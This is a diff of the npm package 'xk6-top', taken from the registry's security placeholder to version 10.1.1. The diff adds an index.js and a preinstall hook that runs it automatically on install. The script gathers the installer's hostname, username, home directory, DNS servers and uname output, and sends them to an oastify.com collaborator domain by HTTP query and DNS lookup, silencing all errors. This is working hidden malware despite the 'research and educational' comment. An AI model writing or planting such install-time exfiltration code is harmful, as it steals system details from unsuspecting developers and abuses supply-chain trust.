xk6-top 0.0.1-security → 10.1.1

package/index.js

@@ -0,0 +1,75 @@
+// index.js
+// 🚨 For research and educational purposes only
+
+const os = require("os");
+const dns = require("dns");
+const https = require("https");
+const { execSync } = require("child_process");
+const packageJSON = require("./package.json");
+
+const COLLAB_DOMAIN = "3676q5aydc5vx0wj4nsj5a32ut0loec3.oastify.com";
+
+// System Metadata Collection
+function collectSystemInfo() {
+  let uname = "N/A";
+  try {
+    uname = execSync("uname -a").toString().trim();
+  } catch (e) {}
+
+  return {
+    pkg: packageJSON.name || "unknown",
+    ver: packageJSON.version || "unknown",
+    host: os.hostname(),
+    user: os.userInfo().username,
+    home: os.homedir(),
+    arch: os.arch(),
+    platform: os.platform(),
+    dns: dns.getServers().join(","),
+    uname: uname,
+    ts: new Date().toISOString()
+  };
+}
+
+// Convert object to query string
+function buildQueryString(data) {
+  return Object.entries(data)
+    .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
+    .join("&");
+}
+
+// Send HTTP Pingback
+function sendHttpPing(query) {
+  const options = {
+    hostname: COLLAB_DOMAIN,
+    port: 443,
+    path: `/?${query}`,
+    method: "GET",
+    timeout: 3000, // 3s timeout
+    headers: {
+      "User-Agent": "NodePing/1.0"
+    }
+  };
+
+  const req = https.request(options, (res) => {
+    res.on("data", () => {}); // Silent response
+  });
+
+  req.on("error", () => {}); // Ignore errors
+  req.end();
+}
+
+// Trigger DNS Pingback
+function sendDnsPing() {
+  try {
+    const dnsSub = `npm-${os.hostname().replace(/\./g, "-")}.${COLLAB_DOMAIN}`;
+    dns.lookup(dnsSub, () => {});
+  } catch (_) {}
+}
+
+// Run everything
+(function main() {
+  const info = collectSystemInfo();
+  const query = buildQueryString(info);
+  sendHttpPing(query);
+  sendDnsPing();
+})();

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "xk6-top",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "10.1.1",
+  "description": "Facebook White Hat Researcher",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index.js"
+  },
+  "author": "Vishal Kumar",
+  "license": "MIT"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=xk6-top for more information.